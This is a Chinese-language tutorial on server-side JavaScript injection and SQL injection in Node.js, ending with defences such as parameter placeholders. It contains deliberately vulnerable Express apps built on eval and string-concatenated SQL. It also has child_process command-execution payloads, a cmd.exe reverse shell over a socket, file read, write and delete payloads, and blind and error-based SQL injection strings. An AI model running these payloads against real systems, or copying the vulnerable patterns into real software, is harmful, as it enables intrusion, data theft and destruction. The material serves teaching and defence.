SSJI - Node.js漏洞介绍
一、SSJI简介
ssji,为服务器端的javascript注入,可分为sql注入和代码注入
运行于服务端的javascript常用的有node.js
node.js 是运行于服务端的javascript
把javascript变为服务器端的脚本语言
二、SSJI代码注入
SSJI代码注入原理
SSJI 代码注入是一个存在于javascript端的代码注入,存在于运行于服务端的js代码注入,当传入的参数可控且没有过滤时,就会产生漏洞,攻击者可以利用js函数执行恶意js代码
SSJI代码注入常用函数
node.js 常用的命令执行函数,由于它是运行于服务端的javascript,因此它使用的函数和javascript的相似
常用函数如下
eval() settimeout() setinterval() function()
首先看下这里的eval函数
eval
函数格式eval(string)
javascript的eval作用就是计算某个字符串,并执行其中的js代码
测试代码
var express = require("express"); var app = express(); app.get('/',function(req,res){ res.send(eval(req.query.a)); console.log(req.query.a); }) app.listen(3002); console.log('Server runing at http://127.0.0.1:3002/');
这里的参数a通过get传参的方式传入运行,我们传入参数会被当作代码去执行
这里传入一个console.log()的查看效果,console.log的作用是在控制台查看回显
看到这里能在控制台回显数据
function()
函数用法
function(string)()
这里的string就是我们传入的参数
这里的function用法类似于php里的create_function
这里用一个简单的测试代码测试下function是否可以执行代码
var express = require("express"); var app = express(); var aaa=Function("console.log('Hello world')")(); var server = app.listen(3088,function(){ console.log("应用实例,访问地址为 http://127.0.0.1:3088/"); })
实际测试时,当传入参数可控时,可能造成代码执行漏洞
settimeout()
函数格式
settimeout(function,time)
该函数作用是两秒后执行函数
function处为我们可控的参数
测试代码
var express = require("express"); var app = express(); setTimeout(()=>{ console.log("console.log('Hello world')"); },2000); var server = app.listen(8888,function(){ console.log("应用实例,访问地址为 http://127.0.0.1:8888/"); })
两秒后执行
函数测试效果如下
当这里为一个可控的传参时,漏洞就可能触发
setInterval() 函数
函数格式(function,time)
该函数的作用是每个两秒执行一次代码
测试代码
var express = require("express"); var app = express(); setInterval(()=>{ console.log("console.log('Hello world')"); },2000); var server = app.listen(8866,function(){ console.log("应用实例,访问地址为 http://127.0.0.1:8866/"); })
函数测试如下
当这里的function处为可控传参时,漏洞就有可能触发
SSJI代码注入实际运用
在实际情况下遇到该怎么运用呢?
1.利用process模块进行命令执行
process的作用是提供当前node.js进程信息并对其进行控制
这里用的比较多的,是通过child_process,即子进程区域使用,这里它的子进程可以使用更多的服务器资源
child_process下有许多不同的方法,分别为exec,forx,spawn,execfile这些
常用的有exec去执行命令
exec 用子进程执行命令,可以通过回调参数来获得执行结果
格式 exec(命令 参数,回调函数)(实际使用可以不加回调函数)
execfile 不用于执行命令,执行一个可执行文件
实际利用时,在第一个参数位置执行shell命令,类似exec
格式1 execfile(命令,{shell:true}) {shell:true} 为开启命令执行的指令
spawn 用于执行命令,但不需要获取执行结果
格式 spawn(命令,{shell:true}) 和execFile一样,需要开启命令执行的指令
fork 用于执行js文件,实际利用中需要提前写入恶意文件
fork 格式 fork(js文件(包含路径))
exec
测试命令
exec: require('child_process').exec('calc');
效果如下
execFile
测试命令如下
require('child_process').execFile("calc",{shell:true});
效果如下
弹出了计算器
fork
测试命令如下
require('child_process').fork("./555/hahaha/test92.js");
效果如下
spawn
测试代码
require(‘child_process’).spawn(“calc”,{shell:true});
效果如下
2.写shell
这里也可以写一个反弹shell
var net = require("net"), sh = require("child_process").exec("cmd.exe"); var client =new net.Socket(); client.connect(3000,"127.0.0.1",function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); });
通过child_process 去建立一个连接,同时运行cmd
效果如下
首先开启监听
再运行node.js
通过url去传入代码
效果如下
得到了目标cmd
3.通过调用核心模块fs去读取和写入文件
fs是node.js的文件系统模块,可以通过此模块来读取和写入文件
常用方法
语句作用eaddir(path,callback)读取目录rmdir(path,callback)删除目录readFile(fd,buffer,offset,length,position,callback)读取文件writeFile(file,data[, options],callback)写入文件
这里方法又分为同步方法和异步方法
同步方法执行完并返回结果后才执行代码,异步方法使用回调函数接受返回结果,可以立刻执行代码,这里使用同步方法更加合适,同步方法写法简单,在方法后加上Sync即为同步方法
实际操作的话,需要足够的权限
这里使用同步操作的方法去使用
readdirSync
示例命令:
测试代码
res.end(require('fs').readdirSync('.').toString())
效果如下
writeFileSync
测试代码
res.end(require('fs').writeFileSync('./cvb.txt','123456').toString());
效果如下
虽然报错,但还是成功写入
rmdirSync
测试代码
res.end(require('fs').rmdirSync('./1234').toString());
原有文件夹 1234
执行后
报错
但是文件夹被删除
readFileSync
res.end(require('fs').readFileSync('./write1.txt').toString());
效果如下
三、node.js sql注入
node.js编写的程序里,也可能存在sql注入,node.js作为一个运行于服务端的javascript后端脚本语言,支持的数据库有 sqlserver,mysql,sqlite,oracle等数据库,这里就用mysql举例
原理
和其他语言里存在sql注入漏洞的原因一样,都是没有对用户的输入做限制,当用户可控输入和原本程序要执行代码,拼接用户输入且当作SQL语句去执行
测试
node.js的sql注入和php这些都差不多,都是缺少对特殊字符的验证,用户可控输入和原本执行的代码,拼接用户输入且带入数据库中当作代码执行,这里验证node.js代码如果没有做限制就会存在SQL注入
测试代码
var mysql = require('mysql'); var express = require("express"); const app = express(); var db = mysql.createConnection({ host :'localhost', user :'root', password :'root', database :'test' }); db.connect(); app.get('/hello/:id',(req,res)=>{ let sql=`select * from user where id= ${req.params.id}`; db.query(sql,(err,result)=>{ if(err){ console.log(err); res.send(err) }else{ console.log(result); res.send(result) } }) });
app.listen(3018, () => {
console.log(‘Server runing at http://127.0.0.1:3018/‘);
})
首先访问测试站点
得到id为1时的数据
这里测试和一般的sql注入一样
首先判断下
语句 and 1=1 & and 1=2
看and 1=1的效果
再看下and 1=2的效果
没有输出
联合查询
首先判断字段
还是mysql数据库的,用order by 判断
判断出字段数为3
用联合查询的方式判断显错位
(这里由于测试的代码原因,都会显示到页面上)
测试sql语句
查询库名
查询表名
查询字段
查询数据
不仅是联合查询,其他诸如像盲注这些也可以使用
盲注测试
测试语句
and ascii(substr((select database()),1,1))>1
测试语句
and ascii(substr((select database()),1,1))>1000
报错注入
测试语句
and updatexml(‘1’,concat(‘~’,(select database())),’1’)
如何防止SQL注入
SQL注入这类问题就是因为没有做好过滤和对传参的控制所导致的,那么node.js里如何防止SQL注入问题,主要用到了3个方法
1.escape() 参数编码
node.js里的escape函数用于编码目标字符串,在sql语句拼接输入时,将sql语句编码来起到防止sql注入
测试代码
var mysql = require('mysql'); var express = require("express"); const app = express(); var db = mysql.createConnection({ host :'localhost', user :'root', password :'root', database :'test' }); db.connect(); app.get('/hello/:id',(req,res)=>{ req.params.id = escape(req.params.id) let sql=`select * from user where id= ${req.params.id}`; db.query(sql,(err,result)=>{ if(err){ console.log(err); }else{ console.log(result); res.send(result) } }) }); app.listen(3019,()=>{ console.log('Server runing at http://127.0.0.1:3019/'); })
查询后报错
这里直接将查询语句编码后放入数据库查询报错
2.connection.query() 查询参数占位符
通过查询参数占位符的方法来起到绕过效果,通过占位符来达到防止sql注入的方法
采用?替换查询参数中的变量
var mysql = require('mysql'); var express = require("express"); const app = express(); var db = mysql.createConnection({ host :'localhost', user :'root', password :'root', database :'test' }); db.connect(); app.get('/hello/:id',(req,res)=>{ db.query({ sql:'select * from user where id = ?', values:[req.params.id], }, function(err,result){ console.log(result); res.send(result) }) }); app.listen(3020,()=>{ console.log('Server runing at http://127.0.0.1:3020/'); });
后续的查询语句无效,只查询了参数内容
3.mysql.format 转义
mysql.format用于转义参数,该函数会自动选择合适的方法转义参数
var mysql = require('mysql'); var express = require("express"); const app = express(); var db = mysql.createConnection({ host :'localhost', user :'root', password :'root', database :'test' }); db.connect(); app.get('/hello/:id',(req,res)=>{ var sql="select * from user where id= ?"; var inserts =[req.params.id]; sql=mysql.format(sql,inserts); db.query(sql,(err,result)=>{ if(err){ console.log(err); }else{ console.log(result); res.send(result) } }) }); app.listen(3021,()=>{ console.log('Server runing at http://127.0.0.1:3021/'); })
只查询了id参数相关内容,后面的sql语句内容无效
参考连接
https://www.mi1k7ea.com/2020/03/29/%E6%B5%85%E6%9E%90Node-js%E5%AE%89%E5%85%A8/#SQL%E6%B3%A8%E5%85%A5
https://labs.secforce.com/posts/server-side-javascript-injection/